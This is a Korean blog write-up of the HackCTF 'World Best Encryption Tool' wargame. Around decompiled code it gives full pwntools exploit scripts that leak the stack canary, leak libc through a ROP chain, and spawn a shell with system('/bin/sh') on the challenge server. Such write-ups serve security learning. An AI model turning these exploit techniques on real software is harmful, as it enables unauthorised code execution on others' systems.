Pwnstar
HackCTF World Best Encryption Tool 본문
휴 오늘은 이 문제까지만 라업을 작성해야겠다.
HackCTF 문제를 풀면서 참 많은 공부가 됐다. 라업도 그때그때 착실하게 작성했더라면 좋았을텐데 말이지...
아무튼
64비트 바이너리이고, 카나리와 NX bit가 걸려있다.
IDA로 메인함수를 한 번 보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // [rsp+8h] [rbp-88h]
char s1; // [rsp+Ch] [rbp-84h]
char src[64]; // [rsp+10h] [rbp-80h]
char dest; // [rsp+50h] [rbp-40h]
unsigned __int64 v8; // [rsp+88h] [rbp-8h]
v8 = __readfsqword(40u);
setvbuf(_bss_start, 0LL, 2, 0LL);
do
{
puts("Your text)");
__isoc99_scanf("%s", src);
for ( i = 0; i <= 49; ++i )
src[i] ^= 28u;
strncpy(&dest, src, 57uLL);
printf("Encrypted text)\n%s", &dest);
puts("\nWanna encrypt other text? (Yes/No)");
__isoc99_scanf("%s", &s1);
}
while ( !strcmp(&s1, "Yes") );
if ( strcmp(&s1, "No") )
printf("It's not on the option", "No");
return 0;
}
음 우선 src에 입력을 받고, for문을 50번 돌면서 입력값과 28을 xor해서 다시 src에 저장한다. 그리고 src에서 dest에 57바이트만큼 저장을 한 이후 입력 값을 출력해준다. 이 부분을 통해서 카나리를 leak할 수 있다.
xor하는 범위는 50바이트만큼이고, 그 뒤로는 xor하지 않으므로 뒤에 B와 C를 붙여 canary를 뽑아보자
canary_leak.py
from pwn import*
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")
set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))
prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390
p.recvuntil("Your text)\n")
payload = "A"*55
payload += "B"
payload += "C"
p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))
p.interactive()
이렇게 코드를 짜서 실행해보자.
오 성공이다. 그러고 또 입력을 받을 수 있는 듯 하다.
대충 감 잡은 것 같다.
libc를 leak하고, system("/bin/sh")를 해주면 될 것이다.
libc_leak.py
from pwn import*
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")
set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))
prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390
p.recvuntil("Your text)\n")
payload = "A"*55
payload += "B"
payload += "C"
p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("Yes")
p.recvuntil("Your text)\n")
payload2 = "A"*56
payload2 += "\x00"
payload2 += "C"*63
payload2 += p64(canary)
payload2 += "B"*8
payload2 += p64(prdi)
payload2 += p64(set_)
payload2 += p64(puts_)
payload2 += p64(main)
p.sendline(payload2)
sleep(0.5)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")
set_got = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf got = " + hex(set_got))
libc_base = set_got-s_off
log.info("libc base = " + hex(libc_base))
system = libc_base+sys_off
binsh = libc_base+binsh_off
p.interactive()
이렇게 보내면 libc가 leak된다. 마지막에 다른 텍스트를 encrypt하시겠습니까?에 No를 입력하는 이유는 그래야 ret으로 뛰기 때문이다.
libc도 leak하는데 성공했으면 이제 system("/bin/sh")를 실행하는 일만 남았다.
ex.py
from pwn import*
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")
set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))
prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390
p.recvuntil("Your text)\n")
payload = "A"*55
payload += "B"
payload += "C"
p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("Yes")
p.recvuntil("Your text)\n")
payload2 = "A"*56
payload2 += "\x00"
payload2 += "C"*63
payload2 += p64(canary)
payload2 += "B"*8
payload2 += p64(prdi)
payload2 += p64(set_)
payload2 += p64(puts_)
payload2 += p64(main)
p.sendline(payload2)
sleep(0.5)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")
#p.recv(1024)
set_got = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf got = " + hex(set_got))
libc_base = set_got-s_off
log.info("libc base = " + hex(libc_base))
system = libc_base+sys_off
binsh = libc_base+binsh_off
p.recvuntil("Your text)\n")
payload3 = "A"*56
payload3 += "\x00"
payload3 += "C"*63
payload3 += p64(canary)
payload3 += "B"*8
payload3 += p64(prdi)
payload3 += p64(binsh)
payload3 += p64(system)
p.sendline(payload3)
p.interactive()
총 익스는 이렇게 된다.
마찬가지로 마지막에 No를 입력하면
쉘을 실행시킬 수 있다.
'Wargame > HackCTF' 카테고리의 다른 글
HackCTF Unexploitable #3 (0) | 2020.06.29 |
---|---|
HackCTF j0n9hyun's secret (0) | 2020.06.29 |
HackCTF register (0) | 2020.06.28 |
HackCTF rtc (0) | 2020.06.28 |
HackCTF you_are_silver (0) | 2020.06.27 |
Comments